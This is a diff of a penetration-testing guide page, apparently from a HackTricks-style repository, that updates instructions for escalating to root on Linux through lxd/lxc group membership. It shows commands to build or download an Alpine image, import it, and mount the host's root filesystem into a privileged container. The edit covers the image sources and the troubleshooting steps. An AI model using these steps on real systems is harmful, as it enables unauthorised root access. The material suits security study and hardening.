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src/linux-hardening/privilege-escalation/interesting-groups-linux-pe/lxd-privilege-escalation.md
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@ -8,19 +8,24 @@ If you belong to _**lxd**_ **or** _**lxc**_ **group**, you can become root
### Method 1 ### Method 1
You can install in your machine this distro builder: [https://github.com/lxc/distrobuilder ](https://github.com/lxc/distrobuilder)(follow the instructions of the github): You can download an alpine image to use with lxd from a trusted repository.
Canonical publishes daily builds in their site: [https://images.lxd.canonical.com/images/alpine/3.18/amd64/default/](https://images.lxd.canonical.com/images/alpine/3.18/amd64/default/)
Just grab both **lxd.tar.xz** and **rootfs.squashfs** from the newest build. (Directory name is the date).
Alternativelly you can install in your machine this distro builder: [https://github.com/lxc/distrobuilder](https://github.com/lxc/distrobuilder) (follow the instructions of the github):
```bash ```bash
sudo su
# Install requirements # Install requirements
sudo apt update sudo apt update
sudo apt install -y git golang-go debootstrap rsync gpg squashfs-tools sudo apt install -y golang-go gcc debootstrap rsync gpg squashfs-tools git make build-essential libwin-hivex-perl wimtools genisoimage
# Clone repo # Clone repo
mkdir -p $HOME/go/src/github.com/lxc/
cd $HOME/go/src/github.com/lxc/
git clone https://github.com/lxc/distrobuilder git clone https://github.com/lxc/distrobuilder
# Make distrobuilder # Make distrobuilder
cd distrobuilder cd ./distrobuilder
make make
# Prepare the creation of alpine # Prepare the creation of alpine
@ -28,14 +33,11 @@ mkdir -p $HOME/ContainerImages/alpine/
cd $HOME/ContainerImages/alpine/ cd $HOME/ContainerImages/alpine/
wget https://raw.githubusercontent.com/lxc/lxc-ci/master/images/alpine.yaml wget https://raw.githubusercontent.com/lxc/lxc-ci/master/images/alpine.yaml
# Create the container # Create the container - Beware of architecture while compiling locally.
## Using build-lxd sudo $HOME/go/bin/distrobuilder build-incus alpine.yaml -o image.release=3.18 -o image.architecture=x86_64
sudo $HOME/go/bin/distrobuilder build-lxd alpine.yaml -o image.release=3.18
## Using build-lxc
sudo $HOME/go/bin/distrobuilder build-lxc alpine.yaml -o image.release=3.18
``` ```
Upload the files **lxd.tar.xz** and **rootfs.squashfs**, add the image to the repo and create a container: Upload the files **incus.tar.xz** (**lxd.tar.xz** if you downloaded from Canonical repository) and **rootfs.squashfs**, add the image to the repo and create a container:
```bash ```bash
lxc image import lxd.tar.xz rootfs.squashfs --alias alpine lxc image import lxd.tar.xz rootfs.squashfs --alias alpine
@ -54,7 +56,7 @@ lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=t
> [!CAUTION] > [!CAUTION]
> If you find this error _**Error: No storage pool found. Please create a new storage pool**_\ > If you find this error _**Error: No storage pool found. Please create a new storage pool**_\
> Run **`lxd init`** and **repeat** the previous chunk of commands > Run **`lxd init`** and set-up all options on default. Then **repeat** the previous chunk of commands
Finally you can execute the container and get root: Finally you can execute the container and get root: